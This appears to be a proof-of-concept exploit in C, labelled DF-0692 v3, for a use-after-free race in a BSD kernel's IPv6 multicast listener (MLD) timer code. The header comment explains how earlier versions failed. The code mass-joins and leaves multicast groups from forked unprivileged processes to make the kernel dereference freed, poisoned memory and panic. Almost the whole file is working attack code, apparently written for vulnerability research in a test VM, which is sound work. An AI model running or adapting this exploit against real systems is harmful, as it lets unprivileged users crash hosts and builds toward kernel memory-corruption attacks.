DF-0692 / mld_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 | /* * DF-0692 PoC (v3): race mld6_fasttimeo's walk of in6_multihead against * concurrent in6_delmulti, using mass-leave (pure frees, NO immediate rejoin) * so freed in6m chunks stay poisoned (debug.use_weird_array=1) long enough for * the walker's cached step.i_in6m->in6m_entry.le_next read to hit 0xdeadc0de. * * Why v1/v2 didn't fire: rejoin re-allocates the just-freed slab chunk (LIFO) * within ~1us, overwriting the poison with a valid le_next before the walker * (every 200ms) reads it. v3 avoids that by NOT rejoining: bulk-join arms a * long list with random ~10s timers (mld6_timers_are_running=1 -> fasttimeo * walks every 200ms), then a burst of pure leaves across NCPU frees ~BULK * in6m under crit_enter() only (no mld6_token) while CPU0's fasttimeo is * mid-walk. The walker's IN6_NEXT_MULTI reads step.i_in6m->le_next from a * freed+poisoned chunk -> 0xdeadc0de... -> page fault. * * Strategy, looped REPEATS times: * 1. bulk-join BULK groups on ifindex 1 (grow list, arm timers) * 2. sleep ARM secs (let fasttimeo start actively walking + mld6_sendpkt) * 3. fork NCPU children, each leaves BULK/NCPU groups as fast as possible * (pure frees -> all freed chunks poisoned, no rejoin to un-poison them) * 4. rejoin those groups (after the free burst) to reset for next loop * * Build: cc -O2 -o mld_race mld_race.c * Run : ./mld_race (unpriv user; ~REPEATS*(ARM+2) sec) * * Precondition (set as root, diagnostic only -- proves the primitive): * sysctl debug.use_weird_array=1 # with-src baseline already sets this * * Expected: kernel panic "fatal trap 12" page-fault in mld6_fasttimeo / * IN6_NEXT_MULTI dereferencing 0xdeadc0de00000000 (poisoned freed in6m). */ #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #ifndef IPV6_JOIN_GROUP #define IPV6_JOIN_GROUP 12 #endif #ifndef IPV6_LEAVE_GROUP #define IPV6_LEAVE_GROUP 13 #endif #define IFINDEX 1 #define BULK 240 #define NCPU 6 #define ARM 3 /* secs to let fasttimeo start walking before burst */ #define REPEATS 40 static int g_sock = -1; static struct in6_addr g_addrs[BULK]; static void mkaddr(struct in6_addr *a, unsigned idx) { memset(a, 0, sizeof(*a)); a->s6_addr[0] = 0xff; a->s6_addr[1] = 0x02; /* vary the low two bytes so each idx is a distinct group */ a->s6_addr[14] = (uint8_t)(0x10 + (idx >> 4)); a->s6_addr[15] = (uint8_t)(0x10 + (idx & 0x0f)); } static int join(unsigned idx) { struct ipv6_mreq m = { .ipv6mr_multiaddr = g_addrs[idx], .ipv6mr_interface = IFINDEX }; return setsockopt(g_sock, IPPROTO_IPV6, IPV6_JOIN_GROUP, &m, sizeof(m)); } static int leave(unsigned idx) { struct ipv6_mreq m = { .ipv6mr_multiaddr = g_addrs[idx], .ipv6mr_interface = IFINDEX }; return setsockopt(g_sock, IPPROTO_IPV6, IPV6_LEAVE_GROUP, &m, sizeof(m)); } /* child: leave a contiguous slice [lo,hi) as fast as possible */ static void leave_child(unsigned lo, unsigned hi) { unsigned i; for (i = lo; i < hi; i++) leave(i); _exit(0); } int main(void) { int rep, w, status, rc; pid_t pids[NCPU]; unsigned per, lo, hi; g_sock = socket(AF_INET6, SOCK_DGRAM, 0); if (g_sock < 0) { perror("socket"); return 1; } for (rep = 0; rep < BULK; rep++) mkaddr(&g_addrs[rep], rep); fprintf(stderr, "DF-0692 v3 mass-leave race: BULK=%d NCPU=%d ARM=%ds REPEATS=%d\n", BULK, NCPU, ARM, REPEATS); fprintf(stderr, "watch dfbsd-qemu/boot.log for 'fatal trap' in mld6_fasttimeo\n"); per = (BULK + NCPU - 1) / NCPU; for (rep = 0; rep < REPEATS; rep++) { /* 1. bulk-join (grow list, arm timers) */ for (w = 0; w < BULK; w++) { rc = join(w); (void)rc; } /* 2. arm: let fasttimeo start actively walking */ sleep(ARM); /* 3. mass-leave burst across NCPU children (pure frees, no rejoin) */ for (w = 0; w < NCPU; w++) { lo = w * per; hi = (lo + per > BULK) ? BULK : lo + per; pids[w] = fork(); if (pids[w] == 0) leave_child(lo, hi); } for (w = 0; w < NCPU; w++) if (pids[w] > 0) waitpid(pids[w], &status, 0); /* 4. drain any stragglers, brief pause */ for (w = 0; w < BULK; w++) leave(w); usleep(200000); fprintf(stderr, "repeat %d/%d done\n", rep + 1, REPEATS); } close(g_sock); fprintf(stderr, "no panic observed from userspace; check boot.log for kernel trap\n"); return 0; } |